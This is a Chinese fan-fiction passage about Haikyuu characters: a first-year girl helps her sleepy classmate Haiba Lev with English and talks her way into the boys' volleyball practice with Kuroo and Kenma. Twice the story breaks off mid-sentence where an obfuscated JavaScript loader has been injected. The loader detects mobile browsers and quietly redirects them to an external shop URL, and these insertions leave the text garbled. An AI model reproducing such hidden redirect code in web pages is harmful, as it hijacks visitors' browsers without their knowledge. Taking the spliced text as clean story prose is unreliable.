灰羽列夫幻视有小刀子从那女孩的眼睛里飞出来。 “呵呵。”她咬着牙笑,“我收拾完了,这就把位子让给你——灰羽同学。” 灰羽列夫像没感觉到杀意,笑盈盈地接话:“哎呀,那真是辛苦你了。” 马尾少女:## 他真是自来熟又顺杆爬的人。旁若无人立马把自己的东西一窝蜂往才清空的桌面上堆,还不忘抽空招呼我给他搭把手。 我都看呆了,好羡慕这种大胆的人。 我现在承认灰羽列夫比我开朗外向多了。我确实没有他那样的勇气,甚至现在都不好意思拒绝他,只能任劳任怨地帮忙。 我有种错觉,我真伸手接过灰羽的东西帮他整理时,周围好像有杀意掠过。 我扫了一圈四周。没有人抬头看我们,大家都在忙自己的事。我搓了搓手臂。 “好像氛围不太对。” 日本人有“读空气”一说。我现在就感觉空气不太对,弥漫着一股子诡异。课间休息大家确实该做自己的事,但都低着头,手里瞎忙活,是不是不正常? 我问灰羽:“你觉得氛围是不是不太对?” 灰羽语调活泼上扬:“没有吧。” 我想了想,也许是我多心了。目前发生的事情没有任何值得特别关注的,我又看向灰羽。 “嗯,也许是大家嫉妒我和你同桌吧。” 之前提过,和我不讨喜的性格比,又帅气又擅长运动还健谈阳光的灰羽列夫就是班级人气王。所以肯定有人不满我和他做同桌吧。 可这不是我要求的啊,是他学习太差,我有什么办法。 “灰羽列夫,你真是祸水。”我瞪着他,放出狠话,“如果有人为了你找我麻烦,我就报复在你身上。” 灰羽列夫:“哈哈哈哈哈。” 他扑倒在桌上,把头闷在手臂里,“噗嗤噗嗤”地自顾自闷笑。 “有病吧。” 他搬到我旁边,前两节课是数学课,他睡得很香。 数学课催眠效果大大得好。 我考虑了一下要不要叫醒他,但想到班主任只要我看着他的英语,没说我的责任范围包括他不教的科目,所以我决定多一事不如少一事。 万一我自作主张反而让他觉得很烦呢,岂不是自讨苦吃? 我很好心帮他把遮挡他的书垒得更高,更不容易被老师发现。 我太善良了,绝对不是因为怕他被发现睡觉牵连到我被点起来回答问题。 而在我帮忙时,全班其他人:…… 第三节课,英语课,是我和他拉锯战的开始。 具体表现为,无论我用什么手段,他都能在短暂清醒一两秒后再一次昏睡过去。 我第一次,含蓄地轻轻用气音叫他:“灰羽同学醒醒。” 第二次,开始用胳膊肘怼他一下,让他撑住头的手一下子失去平衡而惊醒。 第三次,开始拿原子笔的笔头缩进去后戳他。 第四次,我已经开始纠结要不要直接偷偷拧他大腿肉了。 而他每次都是,睁开睡眼惺忪,满眼迷蒙睁开一条缝,“知道了,知道了。”无心附和几句,然后继续倒头维持原状。 我狠下心,掐住他大腿的肉。 “嗷!” 全班其他人:…… 又来了又来了,川合同学又在和灰羽同学打情骂俏了,看来我们不得不承认了——可恶的灰羽列夫竟然劳烦不食人间烟火的仙女帮他做这做那! 终于捱到下课后,我问他:“你怎么这么累啊,昨天晚上没有好好睡觉吗?” 经过了几节课的补眠,他精神了些,难得清醒。 “还不是怪排球部的那些可恶的学长们。”他委屈抱怨,“晨练的时候抓着我往死里训,我还是萌新啊,突然经受这么大的运动量,当然时时想睡了。” 他委屈的样子萌萌的,但因为我才和他对抗了一整节课,我一节课自己课都没听进去,尽和他斗智斗勇了,所以他装萌我一点不买账。 我说:“那你自己愿意加入排球部的,就得好好训练啊。” 人要为自己做出的选择负责,所以别抱怨。 “我那是遇人不淑啊!”他哀嚎。 然后大吐苦水说起招新的事情。 入学前的灰羽列夫还是一个对排球一窍不通的、懒散的、天真少年。招新的那天,他充满新奇地参观各个社团的摊位,几个稍稍比他矮一点的恶魔突然面露狰狞把他围堵住了。 而其中,站在最前面的黑发恶魔更是他一生的噩梦,他狞笑着说——“这位少年,我看你骨骼不凡,男子排球部了解一下。” 黑尾铁朗给山本猛虎、海信行做眼色后,两人一左一右架住灰羽列夫扬长而去,把他搬运到排球社活动室后,以迅雷不及掩耳之势快速完成从社团申请表的填写、上交、审核一系列过程。 灰羽回过神时,就发现周围一群穿着相同运动服的学长用欣慰的眼神鼓掌欢迎他。 “不是,我这就入部了?”他问。 黑尾铁朗啪啪鼓掌:“是的是的,已经办好了。” 他心里没有任何愧疚,只有对自己下手速度的欣赏。灰羽这家伙站在人群里如此鹤立鸡群,不趁早下手,就被篮球部拉去了! 灰羽话语里对排球部学长满是抱怨,但谈起排球和排球部里的学长前辈们,又一扫萎靡,双眼亮晶晶。 我戳破他的口是心非:“那你可以选择退部嘛。”新人入部后的一个星期内觉得自己不合适是可以退部的。运动社团这种事情常有发生,毕竟不是谁都能经受住艰苦的训练。 灰羽列夫:“额,这个嘛——” 我了然:“所以还是非常喜欢咯。” 我对男排部的印象更好了,从夜久卫辅就很好的印象延续扩大到对排球部的其他人。 虽然我没有接触过他们。 但一个新人尚且如此,这足以说明男排球部的前辈们,也都和我们社团的前辈们一样,都是温柔的好人。 于是我看灰羽疲惫的样子就更不同情了。 什么恶魔啊,这么好的学长训练学弟能算磋磨吗?那是努力、刻苦、勇于追梦的好少年,是正在为梦想而努力拼搏呢。 活该他累的。 出于对灰羽口中男排学长们未见面就产生的好感,和同为排球新人的爱屋及乌,我打消了去找班主任推辞管理灰羽的责任。他的学长们这么辛苦指导他的排球,那我在平时也尽一些自己的绵薄之力吧。 本来班主任也拜托这件事给我了。 我说:“行吧,排球的事情交给你学长了,学习方面我会好好帮你的。” “加油吧,灰羽同学。” 灰羽列夫歪着头看我:“我都这么惨了,你不是应该很同情我,觉得我可怜吗?Gal game里不是这样的啊。” 我陷入沉默,“灰羽同学,”我说,“gal game里没有告诉你,音驹规定期中考试要是不及格,会被放学留下来补习且不能参加社团活动吧。” 灰羽牺牲了,身体在阳光下成了灰烬。 “那怎么办,我晚上也要和黑尾前辈以及孤爪前辈留下来加训练习接球啊!”他绝望地双手扶脸,“这样根本不可能不睡觉啊!” “哦,你们晚上会留下来加训练习接球吗?” 我眼睛快速眨巴,脑筋转得飞快。 黑尾铁纱学姐不赞同我一个人留下来加训,但现实情况是我的进度条落后其他人太多,不额外抽时间出来自我追赶,想想也知道,等到正式比赛铁定拖后腿。 因此在她说的时候,我表面上乖巧地连连点头答应,但内心早就偷偷决定——明修栈道暗度陈仓。 当面一套背面一套,不是每个学生的基操了吗? 而且,晨训时的成功让我尝到了练习带来的甜头,回味泷枝子学姐震惊的表情,我意犹未尽,觉得太爽了。我是一个虚荣的人,喜欢做得好时被夸奖,喜欢享受别人对我叹服的神情,这也没错吧。 我就是喜欢你们一副完全没想到我可以做到,但我偏偏做到超乎你们想象的样子。 所以我绝对不可能轻易放弃偷偷卷死其他人的计划。 就和以前读书时会把一大摞书不辞辛劳背回家一样,暗戳戳计划弯道超车惊艳所有人。 那怎么解决又可以加训,又可以保证自己安全性呢? 我福至心灵,一双眼睛盯上了灰羽。 哦呼,一个两全其美之策就这么出现了——找个本来就要训练的搭子。 因为加训是我一个人的事情,我不好意思因为个人缘故,麻烦我的学姐留下来陪我。 黑尾铁纱说要陪我的提议被我自动忽视了,我是女孩,难道学姐不是女孩子吗?不能因为她是三年级,我是一年级就理所当然觉得人家该欠我的。 可如果是麻烦本来就要留下来的人,这就没什么心理负担了,有没有我,他晚走的实际都不会改变。 这个信息真是来得恰逢其时啊。 所以,我眼珠子滴溜溜瞄准了灰羽,露出一个灿烂的笑容。 笑得灰羽心里发渗。 既然灰羽在练习接球,为什么不去男排偷师一把,看看有什么经验和诀窍可以借鉴。 蹭男排的场地,偷学男排的技术,真是米奇妙妙屋妙到家了。 “灰羽同学。”我露出一个客气中带着讨好的笑意,“我这里有一个提议,你要不要听听呢?” “你说说看咯。”他像一只警觉的俄罗斯蓝猫,察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218643|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到危险炸开毛发。 我说出我的计划:“你正常部活结束后,不是要加训吗?你让我进去看你们练习吧。”时机成熟了,我再得寸进尺上手自己摸几把球。 我面露难色,“我也是今年才接触排球,想看看你前辈怎么教你的,也看看哪些错误可以规避。”我双手合并,“拜托了,作为回报,我可以给你补习英语。” 不知道他经过了怎样一番思想斗争。 只见他脸上风云变幻。 “可是你是女排的,我们都是排球,但还是两个不同的社团。”要不怎么区分成两个独立的体育馆呢,他抓了抓头发,“我也没什么理由把你带进去啊。” 我是肯定不会自己去说的,一来我和男排的人不熟不好开口,二来我不好通过铁纱学姐的途径——这样必然会惊动我的学姐们,万一她们放心不下执意要陪我呢,我是准备悄悄行动,偷偷进步的。 所以我不松口:“这是你要解决的问题了。” 我把难题甩给他,“你要想想哦,没有我,你的英语不及格就完蛋咯。” 灰羽陷入一阵沉默。 或许他在衡量是不及格被补习禁赛更可怕,还是和如何巧妙糊弄社团里的前辈们把我带进去更可怕。 我想应该是前者。 因为他最终答应了。 我两约好,正常部活结束后,我就在他们体育馆门口等着他把我接进去。 正常的部活后,其余的学长去更衣室换衣服收拾东西。黑尾铁朗一手揽住孤爪研磨,把手压在他肩上,另一只手招呼灰羽。“快点的,灰羽,过来练习击球和接球,你这小子练习又不能击中研磨的托球。” “小黑,我想回去打游戏。”孤爪研磨面无表情拒绝,明显他的拒绝被其他两个人不约而同无视了。 黑尾铁朗发现,往常在他说完就应该活动起来的学弟,此时却扭扭捏捏,欲言又止。 他奇怪:“你小子在磨蹭什么?” “黑尾前辈,额,有一个人要等我一起回家,可以让她进来等吗?” 灰羽说出这个他思索了一天想出的绝妙理由。 “可以是可以。”黑尾问,“不过是谁啊竟然要等你一起。” 似乎早就已经预料到会有此一问,灰羽列夫自信,说出他觉得完美无瑕的答案。 “我女朋友!” 小机灵鬼列夫想:女朋友等男朋友,天经地义。这个理由谁能说出来不对呢? 不过后来,我还是知道了他背着我胡说八道的鬼话。 怎么会有人猪脑子用这种理由? 我瞠目结舌问他的脑子是经过怎么样的逻辑才想到这样狗屎的理由时,他缓缓道出灵感来源。 原来,换座时帮他整理东西,我没多想,寻思顺手的事。 我不多想,不代表其他人不想多的——尤其是,那是我第一次主动伸手帮一个男生。 灰羽后来很没有男生义气,把其他人卖了,说同班的男生偷偷问他:“你去哪儿给川合下蛊了?她怎么会主动帮你拿东西?” 笑死。 我:“听你这给我艺术加工,过了吧。” 熟了后我发现灰羽列夫这丫狡猾的要死,对他的话我深表怀疑。 “我真没骗你。原话,我一点没夸张。”他擦着眼角笑出的眼泪,“后来又有人悄悄问我是不是在和你谈恋爱,不然你怎么上课对我这么照顾。” “所以,我才联想到了这么个理由。” 因为我威胁他败坏我名声要揍死他,他三言两语把责任都推到别人身上。 我满头黑线。 现在的男高中生已经空虚到觉得上课同桌把自己戳醒都可以YY成甜蜜吗? 谁叫灰羽列夫是个奇男子——节节课都睡,一节不落。 算了,我长叹,青春期看什么都能浮想联翩、都能磕成CP,正常正常。 其实我冤枉了我的同学们。 如果另一个当事人是个其貌不扬的男同学,这种怀疑刚刚萌发就会被打消。流言别说出不了班级,估计连我方圆两米内都出不去,因为太不配了。 但是灰羽列夫——虽然他成绩差到惊天地泣鬼神,是个笨蛋来着,但确实是一个相当帅气的男生。拜俄罗斯血统的影响,和东方人相比,异域风情的脸庞,有神的绿色上挑眼,白皙的肤色,走在路上高出常人一大截的傲人身高。 当两边当事人都相貌优秀的时候,自然而然就会产生配对的想法吧。 当他这么跟我解释的时候,我的反应是——“这说明大家还是太闲了。” 还有时间八卦,是课业不够多了吗? 给我把心思倒是都放在学习上啊。 “啊,川合意外很不解风情呢。”灰羽听到我的评价,一边把头搁在课桌上,一边向我抱怨。 他把脸转向我这边,一双绿色的眸子里闪着意味不明的神色。 “所以,要不要和我一起,把流言做实呢?” 这些都是后来发生的。我就不说在我让他离我远一点后,他像个孩子一样抱着我的腿在大庭广众下撒泼的事了。 总之,都是痛苦回忆。 而当下的我并不知道后来的事情,此刻我正站在体育馆外的拐角处,正等着他出来接我进去。 浑然不知即将发生什么。 12. 第 12 章 我在门外忐忑等待。 隔着门,尽管我尽力留心里面的动静,但说话声依旧听不清,到底在说什么……我不安地想,左右踱步,不一会又透出声音,是有人朝着门跑过来的脚步声,越来越响,越来越近。下一秒大门打开,灰羽探出头对我说:“进来吧。” 这么给力吗?事情竟然这么顺利?我略微不敢置信,上下打量灰羽。 “你这是什么眼神?” “不是啊……”我半信半疑,“你竟然做到了?” 他到底是用了什么理由说服他的学长们,我好好奇,我竟然有眼不识,没看出他竟然真有办法。 异地处之,我在他的位置,都没把握能这么迅速搞定一群人。除非理由足够充分,足够让人理解,才能让人愿意配合。可我想进去这件事,哪有什么冠冕堂皇的依据?纯粹是私心。 灰羽被我气到,作势要关门:“那你要不要来?” 我赶紧抵住门:“要要要。”说罢,双手合十,歪头冲他讨好地笑,“谢谢你呢。” 为表投桃报李,我信心满满许诺:“你的英语成绩我会努力的。”生怕他觉得不够,还加了一句补充,“如果别的科目有需要也可以跟我说。” 我没有别的能够让灰羽看得上的东西,唯有占了年纪便宜的学业,还能比这个真正意义上的高中生有一二可取之处。 我自觉很有诚意,然而他面上没有我想象的高兴,反倒是别开脸,躲避我的视线,仿佛做了亏心事。 我似乎听见他小声嘀咕:“你要是知道我在里面说的,你就不会感谢了。” “你说什么?”我听不清,让他再说一遍。 他却不肯说了,又是摆头又是摇手,反复强调自己刚才什么也没说。 我狐疑地瞥了他一眼,只觉得灰羽的反应颇为奇怪,可我又说不上奇怪在哪里。从结果上看,喜闻乐见,达到了我的目的。 他有什么瞒着我吗? 算了,应该也没什么,只要目的达到我便没有刨根问底的心思。 像一只小鹌鹑,我亦步亦趋跟随在他身后。 已经过了正经社团活动时间,现在属于个人安排的加训时间。所以场馆里我并没有看到男排社的全部人,除了在前面带路的灰羽——作为主要受训对象。 不远处还站着两个人,我猜想应该就是陪灰羽训练的学长。 走近后,两人面孔清晰起来。 第一个,我很惊奇,愣了一下,拿不准是前辈还是同龄人。在我粗浅的认识中,打排球应该是身高越高越好。这是一种刻板印象,但能成为刻板印象就说明还是有一定代表性的。 这位却是反例,我大抵估摸,身高竟和我相差无几。 要知道我的身高只是尚可,过了女排门槛,却难称优势,只能说是勉强达到了最低限度。如果男排选手和我差不多,那连门槛边都摸不到了吧。我一直以为男排运动员个个奔着一米八往上,灰羽那一米九四就很符合我的想象。 我能迅速锁定他男排新人的身份,他一米九四的身高占据了绝对原因。 不过,我心里惊奇,面上却不显。我顷刻间想到的另外一人,夜久卫辅学长好像也比我矮一点?矮得不多,男生同身高既视感就比女生要显得更矮,所以我对这件事是有印象的。 音驹男排看来是一个包容性很强的群体,什么人都有。 我的目光转向另一个人,这下是彻彻底底惊叫出声:“铁纱学姐?” 太像了。发型、轮廓、容貌不说,就那个不正经的懒散劲儿也如出一撤。 但这里是男排啊,我转瞬间突然蹦出了黑尾铁纱曾对我耳提面命的话,关于要小心某个和她很像的人。 ——原来能这么像啊。 我光以为是某个有血缘的亲属,却不知道两人能相似到仿佛镜子里外正体和影像的关系。 这位学长当然听到了我的声音,说实话我后来再提起这件事,回想这一幕,才发现我进来时他们的表现很耐人寻味。 在我走近发出声响之前,他就已经目光落在我身上。他没有开口,视线停在我脸上,又移回灰羽身上,而后挑了挑眉,嘴角慢慢弯起来。 我喊出黑尾铁纱的名字后,他“哦——”了一声,拖长语调。 “学妹,你认错了吧。”他笑着解释,“我是铁纱的同胞哥哥,黑尾铁朗。三年级五组,男排部长。” 为了缓解我认错人的尴尬,他甚至主动开解道:“认错也是正常,都说我两长得很像,毕竟是兄妹,哈哈哈哈。” 让我觉得,这个学长人真好,真善解人意。 我完全忽略了他眼底一闪而过的复杂情绪,以及不像是对待一个第一次见面的陌生人的亲切友善。 “哦,你好你好。”我赶紧跟着介绍,“学长好,我是灰羽的同班同学,川合莉莉香。” “我是女排部的。” “哦,同班同学啊。”他笑了笑,似乎很没心眼,随口开玩笑,“不是女朋友嘛?” “当然不是,你别误会。”我瞥了眼灰羽,他此刻没看我,仿佛身体僵住。这个表现很正常,我大度地想,肯定是被学长开玩笑不好意思了。 我懂,学生时代最爱八卦谁和谁在一起,只有当事人尴尬死,觉得被当成笑话。 既然灰羽这么帮我了,我怎么会不主动解释,化解误会呢。我主动保证道:“这位黑尾学长,你放心,我绝对没有对灰羽同学有半丝不轨念头。” 说完,我得意地用眼神示意灰羽——看,该我担当的时候,我是会推卸责任的人吗? 我不是那种人。 灰羽列夫:“……”我真服了。 黑尾铁朗笑意更深邃,我的保证让他心情肉眼可见的愉悦。 我安心了,说明我猜对了——就像铁纱学姐对我交代的那样,作为学长,肯定是希望学弟一心把排球放在第一位,专心打球才是当下重中之重,怎么能有时间恋爱脑呢? 看来我的解释非常及时,没有给灰羽找麻烦。 妥帖又亲切的黑尾学长好心帮我介绍另一个排球社成员,“这是二年级三组的孤爪研磨,担任二传手。” 二传手?那就是和泷枝子学姐的位置一样? 我盯着孤爪研磨,心里的震惊比刚才更甚,这个答案是我没想到。夜久卫辅的身高做自由人还能说得通,但孤爪研磨担任二传手就难以想象,二传在前排要负责边路拦网,甚至承担部分右翼进攻。 他这小身板是怎么参加对抗呢?神奇。 难道这位孤爪学长,别看身材娇小,其实身怀巨力,是金刚芭比型人物?我浮想联翩。 大概是我探究地视线太明显,孤爪研磨头顶黑金杂色的发丝有几根不顺地炸起,他用排球挡住自己的脸。 “不要这样看我啊。”闷闷的声音从排球后面传来。 “抱歉哈。”我移开视线,觉得这个小小的学长怪可爱的,还不好意思了呢,像躲起来怕人又悄悄观察的三花猫。 “别看这家伙不高,但是脑子可好了。”黑尾铁朗哈哈大笑,大手盖住孤爪研磨的头顶,亲昵地说,“这家伙可是‘脑’啊。” “我们是血液,要顺畅无碍地流动,传送氧气,为了让‘脑’正常地运作。” 孤爪研磨无奈:“所以说,这句话还要说几遍啊……” 虽对这句话看上去接受不能,但没有反抗黑尾的动作,任由他的手随意搅乱头发,只是不轻不重抱怨,“小黑,不要因为你发型问题就弄坏我的。” 我越发觉得他真像一只猫,被人类强撸,只是稍稍表达不满,之后干脆躺平。 视线扫过眼前三人,灰羽列夫、黑尾铁朗、孤爪研磨,我突然有奇怪的既视感。 难道说音驹男排部是一个大型猫社吗? 真是名字里“neko猫”缠住了。 黑尾铁朗,我望着他,嗯,一只毛发杂乱,会随地大小躺的黑猫,喜欢慵懒晒太阳的类型。 我又看向灰羽列夫,哦,大长腿的俄罗斯蓝猫,似乎很容易被确诊智障的品种,很符合这个人不太聪明的人设。 现在还有一只活脱脱三花,在里面很受宠。 我想得太久,灰羽伸手在我眼前晃了晃,“川合,想什么呢?” “想猫。” “啊?” 我回过神:“没什么。”为了缓解发呆的窘迫,我把话题又引回他们身上,“黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218644|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾学长和孤爪学长感情真好。”都叫上昵称“小黑”了。 灰羽插嘴科普道:“当然咯,他们两个是幼驯染,家里从小就住得近。” 他回想副主将海信行曾闲聊中透露的,又补了一句,“研磨前辈国中加入排球部就是部长怂恿的哦!” “哦——”我恍然大悟,心底却想,这个人也是被拉进来打排球的啊…… 和我好像,很相似? 灰羽没看出我对孤爪研磨特别在意,自顾自郑重其事总结:“所以呢,小时候的部长就已经是一个忽悠别人的大忽悠了吧。” 黑尾铁朗一个暴栗狠狠敲在灰羽列夫的脑门上,不顾灰羽“部长你干嘛,很痛诶”的哀嚎,他半拉半把人拽到一旁,用手臂扼住他的脖子。 “你小子——”黑尾磨牙,“对我很不满?” “怎么会呢。”灰羽睁大他那双漂亮的翠绿色眼眸,无比真诚地回望,“我绝对没有记恨学长当时率领排球部的前辈们把我‘绑架’的事情啊。” “算了,我不和你瞎贫。”黑尾往后迅速扫一眼,川合莉莉香正站在原地,近在咫尺,满脸疑惑他们的动作,他一阵血压上升,满脑昏昏欲厥、嗡嗡作响。 换个对象,视线转回学弟,眼神就不善了。 黑尾恶狠狠地问:“小子,你说你带谁进来?女朋友?” “你还真敢说啊。” 黑尾怕被少女听见,强行压低声音:“也不怕闪了舌头,到底是怎么回事,你赶紧老老实实说出来。” “什么嘛——”灰羽列夫失落,“都怪川合,亏我还想了那么完美的理由。” 黑尾额角一瞬间闪现十几个井字,灰羽这才把我拜托他的始末从头到尾详细说明了一番。 他说完自己其实也很迷茫:“我也不知道她怎么会提出这样的要求。” “为什么,还能为什么。”黑尾这次打他是真恨铁不成钢,“都是新人,怎么这么不同。” 看看别人家的后辈,勤奋努力,寻求机会和机缘提升自己…… 再看看自己队伍的,歪瓜裂枣,尤其是眼前这个,简直是最大的废物啊。 黑尾用嫌弃的目光上下扫视灰羽,干净利索宣判:“我觉得你训练量不够,以后训练加倍吧。” 他轻描淡写地说。 和没有经验的灰羽不同,老谋深算的黑尾一下子看出少女暗藏的真实意图。 灰羽转述说她只是想进去看他们练习,她说她才接触排球,想看看前辈怎么教灰羽,也看看哪些错误可以规避。 真的只是看看吗?黑尾想哪能啊,他分明看到一只刚进入陌生领地的幼兽,披着华丽迷惑人的羽毛,警惕试探着他们忍耐的边界。收起利爪和尖牙,装出无害的样子,用闪着波光粼粼的眼睛楚楚可怜地哀求,“我什么都不做,就看一看,可以吗?”实际野心勃勃,满心以下克上念头。 那是一个贪婪渴望的人,一个看着他们在练、不会只甘愿旁观欣赏,而是想着“我能不能比他们更好”的人。 站在场边,却已经心里上场了。 黑尾铁朗忍不住弯起嘴角——这小姑娘,嘴上说“就看一看”,心里想的恐怕是“总有一天要超过所有人”吧。 因为是天台上会喊出“我要赢”的人啊。 之前以为是学弟的女朋友,想着不好让女孩子在外等,成全一对小情侣未尝不可。现在知道不是他的女朋友,他可以反口拒绝,理由多得是,不同社团、不方便、不合规矩。随便一个就能把她挡在门外。 但他不想拒绝。 黑尾看她,少女正在和研磨说话,剪短的头发刚刚过耳,露出一截白皙的脖颈,然后她转过头,和他的视线撞上了,莞尔一笑。 明明是被盯上要被偷学,作为学长却没一丝不爽、不高兴。 反而忍不住只想回答同意,这样真的对吗?是不是对她太宽宥了,黑尾想,他才不是学校那些被美丽学妹迷得色令昏智的傻子呢,他给自己找了理由。 谁能拒绝一个渴求进步的人呢? 他恨不能多满足她的愿望。 黑尾微微一笑,琢磨着。 看怎么够,排球只有上手练习才更能体会精髓吧。 13. 第 13 章 眼瞅着黑尾学长把灰羽拖到一旁,和我隔着一段距离。我听不见他们在说什么,只听得窸窸窣窣,偶尔两人会抬眼往我这边看上一眼。 我摸不清状况,这种未知的感觉让人七上八下。 一个人惴惴不安地想,是不是我进来说了不该说的话?是不是黑尾学长因为我而责难灰羽? 其实我倒宁愿他们直接来问我。我可以发誓保持安静,绝不打扰他们。 可偏偏他们什么都没说,我什么话都没法主动开口。 我瞄准了剩下的人,眼前只有孤爪研磨。我张了张嘴,想说什么,或者他说点什么来打破局面也好啊。 但他完全不顾我的局促不安,淡定地拿起放在休息位上的游戏机。 等等,怎么会有游戏机? “不要紧的,小黑没有怪列夫。” 孤爪研磨眼睛盯着屏幕,手指飞快地滑动,顾不上看我。 我并没有因为这句话而放下心,“是嘛……” 这位学长并不像黑尾铁朗那样充满可靠的前辈气息。说句不好听的,就算黑尾用“脑”来形容他,眼前这个拿着游戏机“噼噼啪啪”的网瘾少年,也不像是排球部能主事的人。 但他能主动和我说这句话,尽管可信度存疑,还是让我意外。 “孤爪学长,你没有想问我的吗?” “我?”孤爪研磨动作很快,结束了一局游戏,“你不用叫我学长,叫我研磨就行。我不看重前后辈那套。” “哦,那好吧。”我没有坚持。我本来也不看重日本这套礼仪,只是入乡随俗。他这么说,我就从善如流地接受了。比我大一岁,在我眼里都是平辈。 “那研磨,”我问,“你不想问我几句吗?比如我为什么跟着灰羽过来?或者,不需要我多说几句个人情况?” 研磨“唔”了一声。 他知道少女是希望他说点什么。这是她寻求安全感、破除未知的方式。他但凡是个妥帖温和的学长,现在应该主动开口说些话来缓和她的不安。 研磨却不想这么做。明知自己沉默会让对方忐忑,很难说没有恶趣味在其中作祟。 “我知道你。”研磨说,“所以我不用问。” 研磨确实知道她,事实上,川合莉莉香完全低估自己在音驹的人气和名声。 ——作为入学即震惊音驹,被称为“百年一遇校花”的女孩子。 只要在音驹,没有人不知道她。 哪怕是对学校杂事兴趣缺缺的孤爪研磨,也不是山顶洞人。他依旧对她有所耳闻,足以见其知名度在音驹的广泛程度。 这一点都不奇怪。 音驹有很多受欢迎的人,各有各的理由,各有各的受众。唯有川合的美丽是完全的、彻底的、毋庸置疑的。 对女生毫无兴趣的孤爪研磨,也不能昧着良心说她长得不够美丽。 研磨放下游戏机,看着她。 他突然觉得,学校那套不丑但也不出彩的黑色西装校服,穿在她身上,反而拉低了她。 要是校服再漂亮鲜艳一些,比如冰帝学院棕色制服那样的亮色系,或者干脆是可爱华丽的连衣裙,像樱兰高校那套鹅黄色的,想必会更搭吧。 “回家要不要下一个奇迹暖暖呢……”研磨顺着思路喃喃自语。 真糟糕。因为她,突然就想玩小女孩喜欢的换装游戏了。 片刻之后,黑尾和灰羽过来了,两人和没事人一样,面上无比正常。 我以为黑尾了解完情况后会对我正颜厉色的情形也没有发生,他态度和煦,对我说:“川合学妹是女排的新人吧,也算缘分,咱们两个社团是亲如一家,不分彼此的。” “更何况你又是我妹妹的后辈,四舍五入你跟着她叫我一声‘哥’也不为过。” 我诚惶诚恐,他笑着点头:“铁纱在家里常提起你,说你又乖又省心。你都不知道,我是有多羡慕她。” “她提起过我吗?”我意外地问。 因为我只是新人,目前又没什么出彩的地方,作为部长的铁纱学姐不应该放太多精力在我身上才对。 “我高中才开始打排球,基础比社团里的其他人都差好多。”我苦笑,“也许是让部长头疼,她才提起我的。” “哈哈哈怎么会。”黑尾大大咧咧重重拍打我的背脊,我背脊被他打直了,这份大力连带让我猛地昂首挺胸。 他:“一年级不要把责任都背在自己身上啊。” 对着发懵的我说,“你要相信前辈啊。” 一时之间,我竟觉得这人脸上有光,他的脸蒙上了一层光晕。 “相信前辈吗?”我说,“可是我拖后腿了怎么办呢?” 我真得很害怕成为拖后腿的存在。 我之前不懂社团活动,以为是像公司团建那样,不得不做的无聊事情。后来知晓不是的,所以我的态度也跟着变了,原来一个小小的排球,系着这些人的梦想,更可怕的是,我了解了日本高中的活动赛事,才知道为什么麻美学姐会招不到人就难过不已。 因为这对于一些人来说是最后一年,不能留下遗憾。 所以如果因为我,让所有人的努力付之一炬,这样的罪责我承担不起。 “怎么这样想?” 黑尾肯定而又坚定地说:“排球是六个人的运动,所以你要相信自己的同伴!” 他的手掌放在我头顶,力度可靠而坚实,手心温度像一个暖炉。无数来自前辈的温柔与宽慰,通过他的手传到我心里。 “这是来自前辈的指教吗?” “没错!”他露出整齐的牙齿,“这可是来自前辈珍贵的经验之谈啊。” “好吧。”我被他感染,低下头静静笑了,“我理解夜久学长说的话了。” “什么?” 黑尾大惊。 他怎么不知道夜久卫辅已经和他亲亲学妹见过了,还有了交集,比他还早吗? 还有什么叫“夜久学长说的话”啊,夜久卫辅不会背着他给川合学妹说他坏话了吧。 这个阴险的短发控猫党! “他肯定没说我好话吧。”黑尾忿忿。 “不是哦。”我低下头捂住嘴,“他确实很嫌弃你,不过——” “我就知道!”黑尾更气了。 我接着说:“他说你是他们的司令塔。是引以为傲的部长。” 同样,铁纱学姐和我吐槽她大哥有多么不靠谱时,言语里也是一般无二的自豪。 “诶——”黑尾后面骂夜久卫辅的话这下吐不出来了。 他呆呆盯着笑语嫣然的少女,突然想,也许她没那么乖,是那种熟了之后会越来越活泼的个性也说不定。 他讷讷地说:“学妹,你变坏了。这种话应该放在前面说吧。” 我放下心防后态度也随便了很多:“那其他人夸奖你的话,要不要听?” “算了吧。”黑尾摸了摸头发,也跟着我一起笑,“这些肉麻的话,听起来怪让人不好意思的。” 他轻轻说: “下次是川合你想夸奖我的时候,我再听吧。” “啊……”我愕然,黑尾学长是想听我夸他? 他没给我深入挖掘的时间,像是自己说完自己不好意思,赶忙换了话题,“虽说灰羽和我说你只是想看看。” “但光看,进步太慢了,不如直接和我们一起练习吧。”他招呼孤爪前辈和灰羽过来,“你们一个托球、击球、接球,非常完美啊。”他竖起拇指。 我又惊又喜,他的提议正中我下怀:“这样不会影响你们的训练安排吗?” 黑尾:“来都来了。” “都不白来啊。” 这句话彻底打消了我的犹豫,“来都来了”真的是刻入中国人骨子里的理由,此话一出,就算不让我上手,我都多少不愿意了。 “那真是太感谢了。”我露出灿烂的笑容。 我加入后,他们调整了训练内容,灰羽的练习更多偏向击球,而接球的工作转移到我这。 虽然他们反复解释说击球也是灰羽要练习的重要内容,没有为我牺牲的意思,研磨甚至凉凉吐槽,灰羽曾经屡次挥空的事情。 但我心里清楚,是为了我才调整了练习内容。 而我,除了全情投入百分之两百努力,不辜负这样贴心的安排外,没有别的方式可以报答这些助人为乐的少年们。 